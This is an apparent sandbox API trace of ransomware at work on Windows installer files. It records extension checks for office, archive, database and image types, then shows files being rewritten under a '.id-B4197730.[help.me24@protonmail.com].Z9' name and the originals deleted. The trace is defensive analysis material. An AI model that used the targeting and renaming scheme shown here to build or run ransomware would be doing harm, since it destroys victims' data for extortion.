	[0069.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0069.820] lstrlenW (lpString=".doc") returned 4
	[0069.820] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.820] lstrlenW (lpString=".docx") returned 5
	[0069.820] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0069.820] lstrlenW (lpString=".pdf") returned 4
	[0069.820] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.820] lstrlenW (lpString=".xls") returned 4
	[0069.820] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.820] lstrlenW (lpString=".xlsx") returned 5
	[0069.820] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0069.820] lstrlenW (lpString=".ppt") returned 4
	[0069.820] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0069.820] lstrlenW (lpString=".zip") returned 4
	[0069.820] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.820] lstrlenW (lpString=".rar") returned 4
	[0069.820] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.820] lstrlenW (lpString=".bz2") returned 4
	[0069.820] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.820] lstrlenW (lpString=".7z") returned 3
	[0069.820] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0069.820] lstrlenW (lpString=".dbf") returned 4
	[0069.820] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.820] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0069.820] lstrlenW (lpString=".1cd") returned 4
	[0069.821] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0069.821] lstrlenW (lpString=".jpg") returned 4
	[0069.821] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0069.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0069.821] lstrlenW (lpString=".doc") returned 4
	[0069.821] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0069.821] lstrlenW (lpString=".docx") returned 5
	[0069.821] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0069.821] lstrlenW (lpString=".pdf") returned 4
	[0069.821] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0069.821] lstrlenW (lpString=".xls") returned 4
	[0069.821] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0069.821] lstrlenW (lpString=".xlsx") returned 5
	[0069.821] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0069.821] lstrlenW (lpString=".ppt") returned 4
	[0069.821] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0069.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0069.821] lstrlenW (lpString=".zip") returned 4
	[0069.821] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0069.821] lstrlenW (lpString=".rar") returned 4
	[0069.821] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0069.821] lstrlenW (lpString=".bz2") returned 4
	[0069.821] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0069.821] lstrlenW (lpString=".7z") returned 3
	[0069.821] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0069.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0069.821] lstrlenW (lpString=".dbf") returned 4
	[0069.821] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0069.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0069.821] lstrlenW (lpString=".1cd") returned 4
	[0069.821] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0069.821] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml") returned 44
	[0069.821] lstrlenW (lpString=".jpg") returned 4
	[0069.822] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0069.822] Sleep (dwMilliseconds=0x64) 
	[0070.055] lstrcmpiW (lpString1=".xml", lpString2=".Z9") returned -1
	[0070.055] lstrlenW (lpString="LocalizedData.xml") returned 17
	[0070.055] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0070.055] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=86284) returned 1
	[0070.055] CloseHandle (hObject=0x2e8) returned 1
	[0070.055] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 0x80
	[0070.055] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.055] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0070.055] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.056] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.056] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0070.056] GetLastError () returned 0x0
	[0070.056] ReadFile (in: hFile=0x2e8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1510c, lpOverlapped=0x0) returned 1
	[0070.072] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x15110, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x15110, lpOverlapped=0x0) returned 1
	[0070.074] ReadFile (in: hFile=0x2e8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.074] WriteFile (in: hFile=0x2bc, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xf6, lpOverlapped=0x0) returned 1
	[0070.075] SetEndOfFile (hFile=0x2bc) returned 1
	[0070.075] CloseHandle (hObject=0x2bc) returned 1
	[0070.077] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.077] SetEndOfFile (hFile=0x2e8) returned 1
	[0070.078] CloseHandle (hObject=0x2e8) returned 1
	[0070.078] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.079] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml")) returned 1
	[0070.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0070.079] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0070.079] lstrlenW (lpString=".doc") returned 4
	[0070.079] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.079] lstrlenW (lpString=".docx") returned 5
	[0070.079] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.079] lstrlenW (lpString=".pdf") returned 4
	[0070.079] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.079] lstrlenW (lpString=".xls") returned 4
	[0070.079] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.079] lstrlenW (lpString=".xlsx") returned 5
	[0070.080] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.080] lstrlenW (lpString=".ppt") returned 4
	[0070.080] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0070.080] lstrlenW (lpString=".zip") returned 4
	[0070.080] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.080] lstrlenW (lpString=".rar") returned 4
	[0070.080] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.080] lstrlenW (lpString=".bz2") returned 4
	[0070.080] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.080] lstrlenW (lpString=".7z") returned 3
	[0070.080] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0070.080] lstrlenW (lpString=".dbf") returned 4
	[0070.080] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0070.080] lstrlenW (lpString=".1cd") returned 4
	[0070.080] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0070.080] lstrlenW (lpString=".jpg") returned 4
	[0070.080] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0070.080] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0070.080] lstrlenW (lpString=".doc") returned 4
	[0070.080] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0070.080] lstrlenW (lpString=".docx") returned 5
	[0070.080] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1
	[0070.080] lstrlenW (lpString=".pdf") returned 4
	[0070.080] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0070.080] lstrlenW (lpString=".xls") returned 4
	[0070.080] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0070.080] lstrlenW (lpString=".xlsx") returned 5
	[0070.080] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1
	[0070.080] lstrlenW (lpString=".ppt") returned 4
	[0070.080] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0070.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0070.081] lstrlenW (lpString=".zip") returned 4
	[0070.081] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0070.081] lstrlenW (lpString=".rar") returned 4
	[0070.081] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0070.081] lstrlenW (lpString=".bz2") returned 4
	[0070.081] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0070.081] lstrlenW (lpString=".7z") returned 3
	[0070.081] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0070.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0070.081] lstrlenW (lpString=".dbf") returned 4
	[0070.081] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0070.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0070.081] lstrlenW (lpString=".1cd") returned 4
	[0070.081] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0070.081] lstrlenW (lpString="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0070.081] lstrlenW (lpString=".jpg") returned 4
	[0070.081] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0070.081] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0070.081] lstrlenW (lpString="eula.rtf") returned 8
	[0070.081] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0070.082] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=3702) returned 1
	[0070.082] CloseHandle (hObject=0x2e8) returned 1
	[0070.082] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 0x80
	[0070.082] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.082] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0070.082] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.082] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.082] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0070.086] GetLastError () returned 0x0
	[0070.086] ReadFile (in: hFile=0x2e8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0xe76, lpOverlapped=0x0) returned 1
	[0070.106] WriteFile (in: hFile=0x2f8, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xe80, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xe80, lpOverlapped=0x0) returned 1
	[0070.106] ReadFile (in: hFile=0x2e8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.106] WriteFile (in: hFile=0x2f8, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0070.107] SetEndOfFile (hFile=0x2f8) returned 1
	[0070.107] CloseHandle (hObject=0x2f8) returned 1
	[0070.107] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.107] SetEndOfFile (hFile=0x2e8) returned 1
	[0070.108] CloseHandle (hObject=0x2e8) returned 1
	[0070.109] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.109] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1035\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1035\\eula.rtf")) returned 1
	[0070.109] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0070.109] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0070.109] lstrlenW (lpString=".doc") returned 4
	[0070.109] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.109] lstrlenW (lpString=".docx") returned 5
	[0070.109] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.109] lstrlenW (lpString=".pdf") returned 4
	[0070.109] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.109] lstrlenW (lpString=".xls") returned 4
	[0070.109] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.109] lstrlenW (lpString=".xlsx") returned 5
	[0070.109] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.109] lstrlenW (lpString=".ppt") returned 4
	[0070.109] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.109] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0070.109] lstrlenW (lpString=".zip") returned 4
	[0070.110] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.110] lstrlenW (lpString=".rar") returned 4
	[0070.110] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.110] lstrlenW (lpString=".bz2") returned 4
	[0070.110] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.110] lstrlenW (lpString=".7z") returned 3
	[0070.110] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0070.110] lstrlenW (lpString=".dbf") returned 4
	[0070.110] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0070.110] lstrlenW (lpString=".1cd") returned 4
	[0070.110] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0070.110] lstrlenW (lpString=".jpg") returned 4
	[0070.110] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0070.110] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0070.110] lstrlenW (lpString=".doc") returned 4
	[0070.110] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.110] lstrlenW (lpString=".docx") returned 5
	[0070.110] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.110] lstrlenW (lpString=".pdf") returned 4
	[0070.110] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.110] lstrlenW (lpString=".xls") returned 4
	[0070.110] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.110] lstrlenW (lpString=".xlsx") returned 5
	[0070.110] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.110] lstrlenW (lpString=".ppt") returned 4
	[0070.110] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0070.111] lstrlenW (lpString=".zip") returned 4
	[0070.111] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.111] lstrlenW (lpString=".rar") returned 4
	[0070.111] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.111] lstrlenW (lpString=".bz2") returned 4
	[0070.111] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.111] lstrlenW (lpString=".7z") returned 3
	[0070.111] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0070.111] lstrlenW (lpString=".dbf") returned 4
	[0070.111] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0070.111] lstrlenW (lpString=".1cd") returned 4
	[0070.111] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.111] lstrlenW (lpString="C:\\588bce7c90097ed212\\1035\\eula.rtf") returned 35
	[0070.111] lstrlenW (lpString=".jpg") returned 4
	[0070.111] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
	[0070.111] lstrcmpiW (lpString1=".rtf", lpString2=".Z9") returned -1
	[0070.111] lstrlenW (lpString="eula.rtf") returned 8
	[0070.111] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0070.112] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=6851) returned 1
	[0070.112] CloseHandle (hObject=0x2e8) returned 1
	[0070.112] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 0x80
	[0070.112] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0070.112] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8
	[0070.112] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.112] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.112] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c
	[0070.240] GetLastError () returned 0x0
	[0070.240] ReadFile (in: hFile=0x2e8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x1ac3, lpOverlapped=0x0) returned 1
	[0070.242] WriteFile (in: hFile=0x31c, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0x1ad0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0x1ad0, lpOverlapped=0x0) returned 1
	[0070.243] ReadFile (in: hFile=0x2e8, lpBuffer=0x2fa4020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.243] WriteFile (in: hFile=0x31c, lpBuffer=0x2fa4020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x2fa4020*, lpNumberOfBytesWritten=0x2acfc94*=0xe4, lpOverlapped=0x0) returned 1
	[0070.243] SetEndOfFile (hFile=0x31c) returned 1
	[0070.243] CloseHandle (hObject=0x31c) returned 1
	[0070.244] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.244] SetEndOfFile (hFile=0x2e8) returned 1
	[0070.245] CloseHandle (hObject=0x2e8) returned 1
	[0070.245] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x80) returned 1
	[0070.245] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1037\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1037\\eula.rtf")) returned 1
	[0070.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0070.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0070.246] lstrlenW (lpString=".doc") returned 4
	[0070.246] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1
	[0070.246] lstrlenW (lpString=".docx") returned 5
	[0070.246] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1
	[0070.246] lstrlenW (lpString=".pdf") returned 4
	[0070.246] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1
	[0070.246] lstrlenW (lpString=".xls") returned 4
	[0070.246] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1
	[0070.246] lstrlenW (lpString=".xlsx") returned 5
	[0070.246] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1
	[0070.246] lstrlenW (lpString=".ppt") returned 4
	[0070.246] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1
	[0070.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0070.246] lstrlenW (lpString=".zip") returned 4
	[0070.246] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1
	[0070.246] lstrlenW (lpString=".rar") returned 4
	[0070.246] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1
	[0070.246] lstrlenW (lpString=".bz2") returned 4
	[0070.246] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1
	[0070.246] lstrlenW (lpString=".7z") returned 3
	[0070.246] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1
	[0070.246] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0070.246] lstrlenW (lpString=".dbf") returned 4
	[0070.247] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1
	[0070.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0070.247] lstrlenW (lpString=".1cd") returned 4
	[0070.247] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1
	[0070.247] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\eula.rtf") returned 35
	[0070.247] lstrlenW (lpString=".jpg") returned 4
	[0070.247] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1
